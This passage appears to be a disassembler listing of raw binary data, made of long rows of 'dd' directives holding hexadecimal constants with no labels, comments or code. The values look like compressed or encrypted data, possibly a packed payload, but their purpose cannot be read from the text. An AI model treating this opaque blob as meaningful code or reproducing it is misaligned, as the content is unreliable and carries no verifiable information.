0F16C3EE5h, 0E224D533h, 0E0015ACh, 0A77E9367h, 54EA003Ah dd 7C1E0350h, 1000EC24h, 7DB30D48h, 413BD7h, 0C58F5AAEh dd 122AC618h, 0DC779D00h, 54F034A0h, 32D9011Eh, 0C1ACA6C7h dd 36493059h, 97DFBA0Eh, 8F88C0C8h, 1F81750Bh, 0B9C031h dd 0E11DD0BDh, 833E2F0Dh, 24BB8059h, 0FA6F78F5h, 0BD7500C7h dd 0ACB3F43Eh, 42006C45h, 0B5A2CB25h, 186E549Ah, 28FB0102h dd 8200A947h, 9C3DE715h, 24E07FE3h, 367B8Fh, 9E793453h dd 18035CEEh, 0D0DB09C8h, 538008Eh, 748D0F40h, 52E89CB7h dd 3868A800h, 0BFA0C925h, 784A00B4h, 4155A4C2h, 6048F7CEh dd 320075BAh, 0BC46100Ah, 0B62F84h, 97DBD1E8h, 0DD60C2D8h dd 0D97E6403h, 0D00D7386h, 1C687B7Ch, 4059FA4Bh, 2F056933h dd 0B0F22071h, 2BB4FD00h, 0CE9BF79h, 0D90B03ACh, 0D0FB1406h dd 80F75838h, 36903411h, 54B72E32h, 0C2190BAh, 61628F4Bh dd 4800E711h, 54DD23F8h, 0AD827Eh, 4674458Ah, 0F5E9792Ch dd 0E2766700h, 868B38D9h, 700B6093h, 0EE13148h, 69DD2C03h dd 0CF47F2E2h, 808246h, 963EEA0Fh, 1932BEAFh, 0E903DE7Bh dd 0B4B80E17h, 6381E8E7h, 6EE664h, 0BADBC871h, 1EB9728h dd 944F903h, 4E3904h, 9E434C40h, 0ABDA17A8h, 0C822A000h dd 3D01C475h, 0BE5C0498h, 802023A9h, 71465333h, 32878500h dd 0CEF66DB7h, 0AE40033h, 1FBA7C68h, 0E200F3D5h, 87B261D3h dd 1DF80E9h, 8C368E9Fh, 0E806C94Bh, 0A37DD2C4h, 604A0C04h dd 3DC05C88h, 23A73C3h, 0DCF8C21Dh, 95406A18h, 0E9C0CFAFh dd 567E4F81h, 0C4910985h, 718005E7h, 0F82D846Ah, 0BA14EB1Dh dd 303FDA80h, 0FA6ED597h, 0BB47008Bh, 1776E8FCh, 257F9B59h dd 0A45AC324h, 0D177AC00h, 8A6433h, 9DEA72Dh, 6717A273h dd 474C0800h, 9CB67FF6h, 36FF006Ah, 0A3451F1Dh, 0C4A85FB7h dd 0BE205D90h, 0A78F5C95h, 7A9C6D03h, 0BBE8946Bh, 182819ECh dd 0D0EE89Fh, 0A31C06E0h, 0C183E8C4h, 4050C7F3h, 7D891h dd 0DFC049CBh, 0A619E460h, 971BA318h, 797C2D60h, 0C474879h dd 98A03A06h, 0D6048973h, 1A2B694Fh, 45CC2C91h, 400BE09Eh dd 0B8E68588h, 5B00F330h, 0DE4FCB67h, 96F6F9h, 141607D1h dd 2C2D3B8Bh, 0E04BA300h, 3DDD27Dh, 0C7A71B4h, 8E222199h dd 98006E96h, 23E1F4E9h, 0E00CCDh, 77CFC6D7h, 0ACB7B65h dd 1FB8E400h, 0A6AE437Fh, 63EC0056h, 0D47E4883h, 0A9019D8Bh dd 9F520F90h, 11808CBFh, 7F1BE1FAh, 960BC875h, 87BD0BEBh dd 0E0707ED1h, 79F6868Ch, 617A8Ah, 0C876C030h, 414A3298h dd 0A0FB7500h, 0BB1AD6C1h, 0D50F0036h, 559CA7F8h, 1507327Bh dd 0EEA6F7D8h, 604DD2B0h, 825603A0h, 49CC0BB6h, 7164E1F8h dd 6E5EC40Eh, 0BF912039h, 557D377h, 0E599DA0Ch, 47E00064h dd 0E2B30A2Ch, 0C074280Fh, 92C685AFh, 2A20C007h, 342F5D90h dd 0FC90CCh, 5EBA7638h, 7E9A56C4h, 94DCEE28h, 67B78200h dd 14450B7Fh, 0BCC300F7h, 36427C66h, 680C47CCh, 0D1E92CECh dd 9762007Dh, 0C907BC02h, 0CB03EB98h, 0C7B2D51Eh, 1086889Eh dd 0AC3F000Ah, 0B5A876BAh, 0FD004AAAh, 6D51DD35h, 0EF8FC2h dd 61BC6782h, 0D02E656Fh, 1CD0AB41h, 0DF0D017Ah, 0E97783DBh dd 2BF9D8D1h, 0C0C14326h, 0F14D9002h, 5F5060D0h, 0F2380018h dd 5DD7BB88h, 0B4046F32h, 5397226Bh, 73215080h, 4D3C1E63h dd 60B0FF66h, 0F7401119h, 79899230h, 48D1D4Ch, 37D0C41Ch dd 32C8386h, 0FBE2EEF0h, 0E852D618h, 0E63D26B0h, 234A00A5h dd 0FCC31D30h, 0DE508710h, 2A0ED5A4h, 81B080A0h, 28B1F169h dd 30D4D9E8h, 3C406048h, 53027FD7h, 1168ADA7h, 39FC4077h dd 8FDF00C1h, 0AF6B180Ah, 0CE00CA65h, 0AEF0CD5Bh, 1114142h dd 690777D0h, 0EC6B25C2h, 0FC006239h, 7CC88D8Ah, 0D522C1h dd 0FB364919h, 0B2D6F7B5h, 8E98B100h, 12F8B775h, 999B0045h dd 0B03BB38Fh, 22E4FF6Dh, 0C977DE00h, 0C8F8E22Ah, 53A50940h dd 70A0CB4Eh, 0A6B849Eh, 92021B98h, 83819064h, 5CA8C818h dd 7A9E779Ah, 77D603A8h, 3CF222C5h, 0EA278999h, 16BBD780h dd 57067A7Bh, 1ADF4186h, 4B780392h, 734E64CAh, 1CCE2087h dd 5378EFB3h, 1199BC07h, 63508230h, 0F874069h, 0D7ED50Ch dd 0FAB47CC0h, 12006180h, 0F29B4BC2h, 1297FC1h, 38EAF6CEh dd 307D351Dh, 0AB174424h dd 5603BFEBh, 0E085E7F7h, 0E09D66h, 6CC7EF24h, 9C547EB8h dd 14BE3613h, 963BD400h, 9C8C13Dh, 0DE1FDBE7h, 858BF080h dd 0B900BEF7h, 41169055h, 3DBE59Bh, 8F98D504h, 9DD015CDh dd 0A100361Eh, 2464BF5Bh, 0BC483h, 93A95412h, 140DCC8Ah dd 969D9F02h, 6947416Bh, 7DF45588h, 283C0090h, 0B4BB0F38h dd 10F074AEh, 0AAF73000h, 3E81A98Dh, 0F5E6263Ah, 0A69803Ch dd 0A1E9E236h, 0FD0108B2h, 0A0341A60h, 6C20CF02h, 1DAF7184h dd 0BB6840C7h, 9FD3E886h, 4CFC784Bh, 38F0E900h, 5EAD6E2h dd 678B00A1h, 3C201EAFh, 49F096ACh, 9D03D572h, 0ABA058C4h dd 0C759018Fh, 0C808C5AFh, 545C640Fh, 2C68A6F1h, 74BF2D80h dd 0EA03A49Eh, 5BC80520h, 1612CBDh, 9089218h, 0B174E0E3h dd 1FDD2E40h, 2E51EB2Ch, 28089438h, 34C1440h, 5B347224h dd 3C8089DFh, 197B1346h, 0DD8F5312h, 0E110C00h, 89254Ch dd 0FF2BEF10h, 0EB35D16Eh, 7FAF901h, 1788C2E3h, 1F194264h dd 40F3BC63h, 80F8047Ch, 9000C47Bh, 91E5A893h, 1BDDA3h dd 0DF0A7AFFh, 0C243B8B1h, 0B241E300h, 54EACC29h, 0F152043Bh dd 0A1672385h, 4F95E488h, 8688B400h, 0A00E26D2h, 99A2127Eh dd 68740735h, 0C6CD20ACh, 0F498AA61h, 0A2392400h, 31CEA1D9h dd 408F3C88h, 0A307CF00h, 0CBA9C9CCh, 35DFB900h, 0DE0B658h dd 7BC10E2Fh, 5CC0A361h, 3608542Bh, 8F00A0F8h, 0B8397EAFh dd 0AD5DFh, 656DF12Fh, 0F4E07BDAh, 0AA895800h, 8FE6ECFCh dd 0D8C0066h, 0A62C3FFBh, 0A40071C6h, 0ADA2ED6Fh, 8CC89h dd 0BEC4576Dh, 7CE0CEF3h, 0C633A00h, 0CC6A2E36h, 0C0980078h dd 0C6F60265h, 501D48Ch, 0BCA09A3Ch, 1970562Fh, 382C0024h dd 0ECD877B1h, 0D2001D5Dh, 0CBFCBC19h, 0F3499Fh, 6854DD27h dd 6F6AF5C2h, 64BD872Ch, 2E9B5300h, 404F59E4h, 650D8B83h dd 11EEF11Fh, 30226031h, 8DD4397Ah, 8A0B8E05h, 6F92C097h dd 3A7CCBC9h, 6C792B09h, 0FAA040C1h, 564C128Ch, 0CCC481E9h dd 149C7460h, 0C11ECF7Ah, 0FB03889Dh, 0E8F343CEh, 0C7FA84h dd 0C910B2E1h, 63895109h, 1BA86463h, 97019061h, 59B100A9h dd 0D03FCAFAh, 0F700D3AEh, 26903CD1h, 0C649E9Dh, 6D88541h dd 0E0EC4889h, 0A217A0B8h, 68075C74h, 50D0E7A5h, 0D4AC92h dd 7E365787h, 0FE8A8EB3h, 7B56333Bh, 8BE9316h, 6CC2B205h dd 487EBCD0h, 40654A8Ah, 8791FD44h, 0BF00F35Ch, 458DDF33h dd 0CB7FB4h, 0D57268E7h, 0A1234E7Ah, 0A0299000h, 6F8DE0C6h dd 31142807h, 125609D3h, 55A3DDh, 0B7710564h, 3F95000Ch dd 775E98B3h, 52001B80h, 828E7F2h, 4B5A9AEh, 312B2585h dd 0F4BCA073h, 0BED9502h, 8148CB8Fh, 0ABA7A180h, 4440D100h dd 0C1021CF8h, 5FDA9975h, 618453EAh, 0FE2B4EF2h, 1FF5D8A0h dd 1200BBEDh, 55A4C338h, 0A8272DAh, 0C5902691h, 621F8Ch dd 0D715B60Eh, 0FD00322Ah, 0F8CCAB57h, 48E746h, 0DA30256Eh dd 0D25BE3E6h, 3BED58C0h, 0C9FB62B9h, 9F0984A9h, 775C4E83h dd 522B20E8h, 930459ECh, 0E0647FA4h, 0DC8484A3h, 3B3098F1h dd 90F3B601h, 6719ECA9h, 7A0DE874h, 26323959h, 160B194Ch dd 7C80C2F6h, 53ED9C39h, 666EFD1Ch, 0DD7F8E40h, 5820DC15h dd 0EE00E879h, 0B3862FF9h, 13005BE9h, 7490ACC5h, 5CE8B4B9h dd 7C0940A2h, 40C86E52h, 6C7661E6h, 0C5D99E02h, 0E0C7221Fh dd 0B34E64h, 33BA9602h, 38EE885Eh, 0D50D9300h, 6D39CA2Fh dd 0D1F900F3h, 51706AE5h, 6916A4FDh, 0ED093F87h, 0BECD0780h dd 39985690h, 1CD700ECh, 0BC256FB1h, 2916802Dh, 74408F9Ah dd 3EBF7BC3h, 95DA150Dh, 432E84E9h, 853B62C8h, 40AF0F00h dd 385700F1h, 5F3F681Fh, 0B23001F9h, 53D20DBh, 0CDED3DA4h dd 45754F00h, 0BAECE779h, 7661F006h, 3F28D620h, 121E94B2h dd 0B8EB14DBh, 7F2DD900h, 1FC30FBDh, 7B303400h, 0F001C192h dd 37F500D8h, 0A6115C9Ch, 0D32C7E63h, 8782DC6Fh, 0E0CF4F8Ch dd 9AAAD77h, 0B30C0E9Dh, 0F2F5C40h, 57BF6312h, 3D2C0440h dd 6B8515DBh, 6880321Ah, 46B672BBh, 0EC001E7Dh, 0F9A30CD6h dd 9098532Bh, 129AE0B4h, 5F324CB6h, 234DE10h, 0FC80ED30h dd 40003C50h, 1B6F63BEh, 0D0D555h, 0EA2CA083h, 0CB94F8FBh dd 0E97C4212h, 0CC220000h, 0C2FC43Ah, 0DF7863A2h, 390AFC40h dd 9089F047h, 0CF30200h, 837F61h, 377B8B76h, 0A7F83839h dd 3C6A491Dh, 34E5D380h, 1B488957h, 48E0231Ch, 0C84D7FB0h dd 51023C90h, 607E2F84h, 0CD99600Bh, 63A5009Fh, 13C1911Eh dd 5C0F1840h, 5B5284h, 65517A2Fh, 41F003EBh, 2108D248h dd 5F64B080h, 0DFB31E00h, 7CBD338Bh, 71076190h, 10799344h dd 53B884Dh, 0D4928B7Dh, 7E85EAFEh, 0C1C49300h, 0B822ACCh dd 8F7DBBBCh, 77D6C280h, 9A019658h, 6DAC4442h, 198004FFh dd 2B6AA648h, 0CB2CCF21h, 5F80BCA3h, 0D87D56DDh, 0E6779C1h dd 37E4AD9Ah, 7BCD5E40h, 50589362h, 2D448BFh, 0E07A3AA3h dd 0ECEEC058h, 0B6A70027h, 0E3B0F98Bh, 0DB00787Fh, 0A4E11CBEh dd 61D9ABh, 3FFAB933h, 24A9C3F7h, 37034F00h, 38BBAAEDh dd 8B7355h, 8AE5D4BDh, 19D90E7Eh, 0EEA1B803h, 0CAE78157h dd 662F6030h, 5D07FAA8h, 0EB00B413h, 0F7E05285h, 67079931h dd 0DD01B08Eh, 5FA13980h, 1EBB1269h, 8B7400D6h, 6C3C951h dd 4349CE02h, 0C8604D87h, 0C44FCh, 0BD611C4Eh, 5451E52Ah dd 97128492h, 50406771h, 858FD98Dh, 9CAF06B7h, 186170A4h dd 740C2D79h, 11C7F7A5h, 0A8D28007h, 1EBDF286h, 0E068B57h dd 4FA98DDEh, 0FC841849h, 0E882E4E9h, 90F6D410h, 7CDA7C34h dd 626000A7h, 0A49DB545h, 0CB01C503h, 475348B3h, 44285AD5h dd 2BBD5C02h, 60804CE5h, 86684BC7h, 0FF24E9F2h, 0F001978Ah dd 208C3184h, 11885828h, 4C01A710h, 5B345970h, 72C9DC31h dd 41171977h, 7B0094B7h, 74CBCEBFh, 0D06B62E2h, 68785067h dd 0DDC60201h, 0E5AD5986h, 175F8C7h, 108D0065h, 27B3481Bh dd 9E000DB8h, 958C92Dh, 3B31D6D7h, 6F003485h, 35F9B1FBh dd 0F6000CA3h, 0F27C5756h, 0DCA7B9h, 4A721BA9h, 0D458B7D5h dd 0C5170C00h, 9D071454h, 351101F4h, 53C995A2h, 0D9BD05h dd 0EB59947Dh, 131D8Eh, 2EA69BD4h, 3445C54Ah, 22880FFh dd 0DA75378Bh, 0AB10C09Ah, 0B282384Eh, 22C5F30Eh, 0C22381F7h dd 59801053h, 81BC3F24h, 1D18A85Bh, 65190BE3h, 724100C5h dd 0E4D3A562h, 8B031801h, 874BD0CBh, 302951ABh, 15A9E6E8h dd 0F81C1DB4h, 9097E800h, 8F410335h, 0BF003A72h, 81A6F9B8h dd 340A5Eh, 3DC7962Dh, 3B039E67h, 1A0FEB7Ah, 878F0476h dd 0D1C06524h, 0FE0E5A6Ch, 730371Eh, 6D4C399h, 2E50697Ch dd 1C008C58h, 0A172236Bh, 0E26F6A19h, 0FFE8C0h, 0B641C397h dd 133D39DDh, 922A331h, 209F69CFh, 2EB640E3h, 0C5710838h dd 7877FA01h, 374EBE1Ch, 1B28070h, 3213C474h, 811E43F9h dd 47A2ED58h, 0C7A3D7h, 0BF04B710h, 5D271062h, 6618F33Dh dd 21B108h, 0F2BF0BDAh, 8D0EF77Ch, 0B3048712h, 31D98701h dd 298C97F9h, 0EEB9B86Fh, 5D4D1503h, 0A32ACB53h, 0C8E4E2E8h dd 910BE8h, 0A27D1BF9h, 0CF52E06Dh, 0FF24BC03h, 7E9AE5h dd 7D4AA340h, 6405095Eh, 0E9BFC30Ch, 0C0820833h, 5E653C21h dd 0B03F61C0h, 8017004Ah, 2858B72h, 7E522831h, 70C0380h dd 6A18E6E3h, 84D61810h dd 0EEA93800h, 4117BA94h, 3AA5FF00h, 19D324E0h, 55900DBh dd 647DF0ADh, 8A52C09Bh, 2513C304h, 5D48E0D9h, 7B19C094h dd 0ECABD3Eh, 816C2406h, 6008F416h, 270121BCh, 450073BDh dd 9D82A67h, 0E8E03B29h, 0E226001Ah, 0BD767D12h, 1900C096h dd 5B21147Ch, 3BAD378h, 30BEF08Ah, 88D0FB2Dh, 88CE8173h dd 0ED1F0005h, 0F4427F45h, 0FA21002Ch, 0FC728FBAh, 2700FD28h dd 7F52D19Ah, 1479449Bh, 208904F5h, 60CC2DE3h, 30F8652Eh dd 6AF98B98h, 1F0354C6h, 0B46FE907h, 0A168D3FDh, 20806579h dd 8354CE57h, 88515CC2h, 0FAF1E47Ch, 266A2102h, 0A3CC0F76h dd 7097ADA4h, 0A81E0159h, 0C959CB06h, 0A75E44Bh, 17EF14A0h dd 0F9E07F41h, 94AD541Ah, 8413004Bh, 75A2F8B9h, 441EA718h dd 0FDCC9927h, 4409386Bh, 25F0DAF6h, 1162A830h, 73FE84h dd 0D507FC37h, 0D4CFE389h, 21C088E8h, 327406A3h, 3E44007Ch dd 9A90BFF0h, 5806FA19h, 0A7A80514h, 4704A1E1h, 0BD081F18h dd 0C4DC0EC5h, 0C848BEh, 0DA0A920Dh, 0CB2839E8h, 9D448C8Fh dd 0A0011805h, 90F9D8C4h, 0E0E4ED3Dh, 0EF5BD211h, 647103DAh dd 0BAF6916Eh, 0B3BB5903h, 4395B409h, 5500C028h, 9EF51260h dd 0CC0AEE70h, 840BEFB6h, 2257F140h, 0DBBC245Bh, 18771330h dd 904B892Ch, 7A66FA03h, 1DC06C0Bh, 4ADABD58h, 9E785E39h dd 0EC7C441h, 20B2622Ch, 75BD29CAh, 8073323Bh, 71ED3941h dd 154B2ED9h, 0E0B893FBh, 79B94718h, 0B3004D82h, 0FA20467Fh dd 0A060C10Ah, 0CE83F8h, 0DCD233C3h, 363024D7h, 3EA67700h dd 0D48FE438h, 0E33C014Fh, 46533EDh, 25C2399h, 73B54CAh dd 107631C9h, 954F24Bh, 6E309AEEh, 74EC8828h, 2F00A946h dd 98F94505h, 5B09A201h, 5B72630h, 7000AEC0h, 21A1A9C6h dd 3113704Dh, 0B3703FBCh, 0C23C34E6h, 0DE0020B0h, 4E93C656h dd 1ECBAF42h, 9F6258ACh, 0CC3814E7h, 35A1220Ah, 0B7465C54h dd 66766807h, 5E003BBFh, 510EB052h, 389E9F26h, 0D6101303h dd 18987CE3h, 187D8F39h, 6566520h, 54CC01ACh, 68B9073Dh dd 21DF810Ch, 0C254F440h, 1C6B4BADh, 407CEC4Fh, 0A3F1A4Ah dd 0BC077F5Dh, 10052396h, 119454AEh, 5C00B4B3h, 4B140D20h dd 0CB09F4AFh, 82950526h, 48B3B25Bh, 3CF19360h, 5F01756Eh dd 714FCCB6h, 67C06E44h, 19BA4514h, 91929834h, 0B10BD4D1h dd 0BE74F117h, 0E90001FFh, 85C10528h, 93FE7FB8h, 0EFF19441h dd 698F6514h, 44800CC6h, 4C4D78FAh, 238FA10Fh, 22860042h dd 116DF38h, 508DC6CAh, 409BE789h, 7A300598h, 5B0EB4Dh dd 0CCE62039h, 5095B002h, 0F1A882B0h, 54CB1898h, 0D1073E08h dd 4083646Fh, 2654F358h, 1D147510h, 80CEFFF1h, 0AF8994Bh dd 0BA0F55CBh, 0CE802E96h, 1A435B3h, 4223EE0h, 0B899444Eh dd 24E8C135h, 2D1FF338h, 0C1403D23h, 0CED6A70h, 0CC94488Ch dd 88B95B15h, 2F07D73Eh, 71E13181h, 60B4ADE7h, 0E0409F20h dd 8C4D34C0h, 20C481A9h, 0D985C8ACh, 108FBF0Ch, 2C9A299Eh dd 3443F0Dh, 8A300B78h, 0B463682Ah, 810A3D09h, 790C0D93h dd 0F2D023F3h, 0E9224300h, 86823C4Dh, 0F60144h, 7312336h dd 8DB21CDh, 2663650Eh, 0EE28A5E0h, 0B004C853h, 75438573h dd 61770A0Fh, 243C4E4Ch, 0EB8350BDh, 9BAAFDCh, 0C0F4E0A8h dd 7034D498h, 80E10A89h, 0B04B3080h, 6BB112FBh, 0A00654B2h dd 92951AFCh, 1BDB1821h, 12E138C5h, 0FC9A0BB8h, 0BEFF7F18h dd 49B511E9h, 2A809495h, 0FA54DD9Bh, 16019372h, 598966B4h dd 70608187h, 0FD1C8C2Ah, 0DFC83A73h, 488764D4h, 802F1FBEh dd 9EB1F7E5h, 0B72483F9h, 54CA605Eh, 2A035C2Bh, 0ECBFB66Dh dd 26880C8Ch, 0A037CFh, 7E4AE03Eh, 6AE2303Ah, 0A00C0890h dd 5137890Ch, 56F81411h, 107CC0E5h, 3E8E9769h, 0CB461305h dd 3006001Dh, 73A978A7h, 0E45F00FBh, 0EF509211h, 0E605C632h dd 3546F6EBh, 1E028A1Fh, 0C18FDB71h, 20336D8Ch, 0F7AC012h dd 0B5C04BE0h, 72051AF1h, 2088E978h, 4F40130h, 0AED3913Eh dd 1B3980B8h, 69D93239h, 0AFBC2CF3h, 2F270330h, 0B6C8488Dh dd 0DE05804Bh, 0FBDC2A09h, 935BAC44h, 744D6400h, 0E8009854h dd 4170C8Dh, 1265AF4Fh, 4F6DF91Ah, 0B289FB08h, 0FC9D000Fh dd 0B1BFE30Dh, 0FD1AF410h, 0B3F88C50h, 0F0A90F26h, 6E5E3B08h dd 0EC9BDE1h, 88BA183Ch, 0BD0723D4h, 0C9350AEDh, 0D0AC11D9h dd 88425DF5h, 6AB86020h, 3E8491F0h, 0BB22C2B8h, 0A07DCB20h dd 80937B7Ch, 0E688BF5Bh, 0DE4F0166h, 1E07A91Ah, 27AB2045h dd 0C297C07h, 7570F31Bh, 77145Dh, 0CF0A2B68h, 0B755A3AAh dd 2EDB6C1Fh, 88BDC940h, 0B8C41C15h, 7F2222D4h, 69137534h dd 510BDC01h, 8C402FE1h, 0E065CCC8h, 14BA48B3h, 0B8390C06h dd 2A48B8C3h, 667D14D8h, 9B2000B0h, 1F15FDCFh, 0B8C804FCh dd 81A33E0Bh, 81489410h, 52E0C288h, 7980B1A8h, 9CB90623h dd 0FE0ECB35h, 0A7D1A5E5h, 5774DFEAh, 6DF22F80h, 0E96C000Ah dd 0B5814977h, 6551292Dh, 3D30D6D0h, 0ECB24BDh, 91D02171h dd 25D606BFh, 54C082BDh, 1C13BCB0h, 0CCF70E94h, 0B1298D5Bh dd 50CA8E3Dh, 173BA4C9h, 0EA2E845Dh, 0BCC788B6h, 48511632h dd 88B483A4h, 98988CBEh, 4402CF46h, 344DF222h, 0F90500C7h dd 0D1C0233Bh, 247FE706h, 80A080ADh, 0CF8FD2EFh, 0BD004450h dd 36A5DD3h, 4833D904h, 0F7040CEEh, 88506D42h, 9440BF6Ch dd 40AE4BF4h, 738185A4h, 0A1280513h, 700FDDAh, 0FBD86E56h dd 44D1622h, 51EEA094h, 8F14D1CFh, 804E0930h, 0B7C2B288h dd 3D82F5FDh, 4060223Bh, 91182016h, 8E2995FFh, 75A73089h dd 0FDDD1D70h, 3673B58h, 0CB4F8704h, 0C766A816h, 82400CCCh dd 0A439C65Bh, 0D2D5900h, 7460F1AEh, 627529h, 16D95B45h dd 0FF1A6840h, 35E22202h, 0E4CA30A1h, 4F811BA4h, 8EF4E178h dd 0C0BE881Ch, 0CD7BBCABh, 4E76CC00h, 0D261E499h, 0EC8014C9h dd 3A96DC88h, 657510D4h, 341DDFh, 79F51878h, 925EF5Bh dd 0DABC939Ch, 0BF4C607Eh, 0ECC725D9h, 0B439DC02h, 0BC01A24h dd 31F9BFD4h, 1B218E13h, 0D8C913B5h, 0B2D77610h, 2E802E00h dd 75215E80h, 29558065h, 0C52822A0h, 93AF916h, 0E333A042h dd 64AC680Bh, 4ECD77DAh, 77803228h, 2CC04C00h, 0EB9C1A2h dd 64969739h, 4D000850h, 507F4E54h, 9CCD43A3h, 0AB8E4C4h dd 0E870202Eh, 0F4808C55h, 2865D54h, 0EC6BD22h, 0C5196C44h dd 942AD511h, 1806BCEh, 0EEDAB322h, 0BC2CD9D4h, 18CB8B8h dd 2A1BC761h, 0F2393A7Ah, 70C040E9h, 1C8C2318h, 0D13573FCh dd 878F88F7h, 0C073F1A1h, 0A58039BDh, 0FBC86112h, 8C480BAEh dd 0B95AFCACh, 8050A03Ah, 445D3A6Eh, 51BEEAh, 0F04759ABh dd 0AC600FF9h, 0EC261701h, 0F4C03B02h, 139C9F8h, 0C848EBEDh dd 30CDA385h, 19000390h, 3DDCE508h, 409968h, 10D6A5B4h dd 0F3FE441Bh, 72F0560Bh, 0E30BA1h, 1FB0289Ch, 112500D5h dd 55E460B6h, 87035AC7h, 0FC5E50E9h, 8D16E062h, 0BCEA0027h dd 0E204CBBBh, 0E53DDE5Fh, 0B9F080D4h, 490F6B51h, 781E00DDh dd 0E09AC9D0h, 0F50163A7h, 0D79E8B03h, 320DBD5h, 215C0072h dd 0ABE5A0F0h, 9D00B945h, 82DF8642h, 647463h, 3639E4D9h dd 7E204A6Fh, 0C0EA93E4h, 0CA2B751Fh, 1A616E40h, 1E509C14h dd 0CF4192AAh, 1805BC4Eh, 8DE1C1D3h, 2771D8BEh, 26A83E00h dd 9CF35B8Eh, 7D860055h dd 95DDCDE5h, 930F582Bh, 27062D7Ah, 50134952h, 81781F34h dd 8178DF01h, 5C136F6h, 0B22424BCh, 0A3C20A00h, 56DE97FBh dd 0A9E500A1h, 7D420375h, 7312438Ah, 0D0537FF3h, 0F2515700h dd 0F837701h, 0E667B5D2h, 44A1980h, 0B6007442h, 0F908EB35h dd 8B7150h, 84811385h, 676ACFD5h, 8C14C0A0h, 83ACFC38h dd 99DC900Eh, 91FAD8B3h, 0FAA37F2Bh, 187CF030h, 0C0D2C63Ah dd 4E14C38Ah, 2C84F30Dh, 0FA0B7991h, 0AFAA8011h, 2AB5A8h dd 0D53FF468h, 0CFCA9FBBh, 52D71D05h, 0EC01A4B4h, 0E2364C46h dd 1E995180h, 0EF660637h, 90406000h, 8070B82Eh, 0B472E6h dd 0F8596917h, 0C2D0A953h, 3C4AFD00h, 0F27CB89Bh, 0B7E401D2h dd 0EC195C4h, 0C7B82415h, 10A7400Ch, 188F594Ch, 70D3AA6Eh dd 8800289Eh, 61F68E60h, 26222CFh, 63B45D81h, 0CC87A54Fh dd 0D7CBE074h, 0F10006CDh, 5AAE5626h, 0B9FBBAh, 4CF3E086h dd 0B4276913h, 4E89100h, 88796298h, 489F0074h, 0EB21C840h dd 3B28B87Fh, 0FB1FD866h, 31005EFFh, 60260772h, 8C5905A2h dd 6379DD7h, 0B15254F0h, 6D1B4F00h, 3FC449FEh, 0F69D1FBDh dd 81EA1E26h, 0F84F1E82h, 9063F443h, 78F148h, 374A1B9Ch dd 0BBB49Eh, 0CBC3A2A8h, 660B699Dh, 63514905h, 0C01491EDh dd 14543869h, 119C8E0Ah, 690396A4h, 455EA639h, 0C2EB1590h dd 0B1C84E00h, 52D91087h, 0A5DC2DB6h, 8B005C56h, 0C5D04DCBh dd 0E07CBEh, 6FB2DB7Bh, 9FE644ACh, 0D53BFF00h, 378E242Ch dd 6C540E1Bh, 1C809E45h, 0F75B1597h, 2E5E0C06h, 0E280B9Bh dd 0F2DE7718h, 22336A60h, 0CB1C135Ch, 8380A825h, 0AC22EC6h dd 847015h, 281A4871h, 46E748Ch, 9831B5E4h, 1DE5C950h dd 0E4CF49FCh, 0E7A300D0h, 0B9E98CDCh, 5D039B42h, 69E592FFh dd 0E7348312h, 0EDB12CE0h, 1C0E3A36h, 0E590D6B0h, 8F308728h dd 0C07E40A5h, 30F56388h, 4A98A74Bh, 0DF0054CEh, 17F1DE7Bh dd 15A51E2h, 2D338F83h, 80B4059Ah, 8E4B5F61h, 736A0E7h dd 0B5216711h, 0E33BD06Dh, 1400A62Bh, 0A30597BCh, 247BEE42h dd 19C52B9h, 0F6B56D9Bh, 0BFD980A6h, 0CE4C151Dh, 0A0084950h dd 0F0064F1Fh, 0EF6C62F2h, 5A951601h, 662D8944h, 4A52824h dd 0C483C934h, 7BA18145h, 7188203h, 0F22E40D4h, 0ECA74C8Ch dd 9A00A13Eh, 5DE79685h, 0CD50D8E9h, 95580888h, 27390017h dd 0CF41D673h, 7DF1006Eh, 0F6B1980Ch, 0FB0070C4h, 3FD20560h dd 0AD7D9h, 6AB23E06h, 783380EDh, 0D6C3C701h, 0BEF94A2Dh dd 5C8043C9h, 30590536h, 0C23D44D1h, 8CC980B1h, 0B5DC9B7Ah dd 7A2971CBh, 8F4200D7h, 9A0B34E5h, 6358C13Dh, 0DE0900F1h dd 0CE45B424h, 0DD2C1D25h, 942E89BCh, 73AD1803h, 0A6E67FE0h dd 3A47D01h, 0E90D62DCh, 1642AFF0h, 6089841h, 188138AAh dd 9C3E6A1Ch, 8EF21A80h, 8A92DBh, 6F8B86E0h, 9931B1F0h dd 93B8391Dh, 0C0829FCFh, 693A2890h, 2BE400FAh, 6E568FAEh dd 2400A162h, 0F3F2E75Bh, 218A0Bh, 53DBC964h, 11767AD9h dd 63D39202h, 0FC47B5B1h, 0E572C2Dh, 9E20515Ah, 88D0C9A0h dd 0C51F3A7Bh, 0C70EA65Bh, 52BD0076h, 398578Bh, 0D4562495h dd 0B1F0DAF8h, 0A203F0CDh, 0FAF25EE8h, 1A6AD067h, 4E3200EBh dd 0E2D892A3h, 9D5C64ACh, 0F5208360h, 995880BEh, 0D08000F6h dd 57EB8548h, 69000E61h, 128A3FD9h, 118C366h, 0A247F96Fh dd 87C779DAh, 574AFAE0h, 0E18C4E80h, 0B4E3162Bh, 4D540087h dd 0B033A174h, 8C117D60h, 124E06A0h, 9056E49Fh, 61A73358h dd 66CC0806h, 80EC9h, 67E91EF4h, 8F35EE0Fh, 0BDF31300h dd 4B53FC5Fh, 14A00094h, 1FDC8C74h, 640B80F9h, 0C169D40Eh dd 94648940h, 33F22735h, 7F3B28A0h, 0B3000E39h, 0D4C7FA43h dd 1736FD30h, 4A80BF35h, 984CE3B0h, 4BF76837h, 4DF8B8C0h dd 8448E4A9h, 1CC93528h, 0D497FD00h, 0F2F95C41h, 3665898h dd 9AD95800h, 0E038B2DEh, 0D602881Ch, 3F8BBB07h, 5BE8A0E0h dd 0BDDB0064h, 3306EC38h, 0E400923Ch, 0FB8B1759h, 0DDDF56h dd 0D8A5D4E2h, 0B7F2BB0Ch, 0D2411107h, 0B1672337h, 0C710B6D0h dd 0E0BFCA9h, 0A8CDF860h, 812DD860h, 4507E874h, 2CCE8768h dd 0D6E17BA7h, 0B98E7CA5h, 0F3404D4Ch, 616A4F4Bh, 20FE3507h dd 0DDC02C42h, 5712591h, 0A623FF15h, 0F8B40531h, 6A44C898h dd 48416D00h, 0EDB79A86h, 6CCF0052h, 0AD5F9F7h, 17008C07h dd 7C0DD893h, 63F230E1h, 2E35103Ch, 0DB001975h, 9CB8F76Eh dd 0E4479CAh, 7D479EFBh, 410BB086h, 80132C3Fh, 8658CCB1h dd 0F224D6h, 492B0EF5h, 0EF69F48Bh, 600A5A38h, 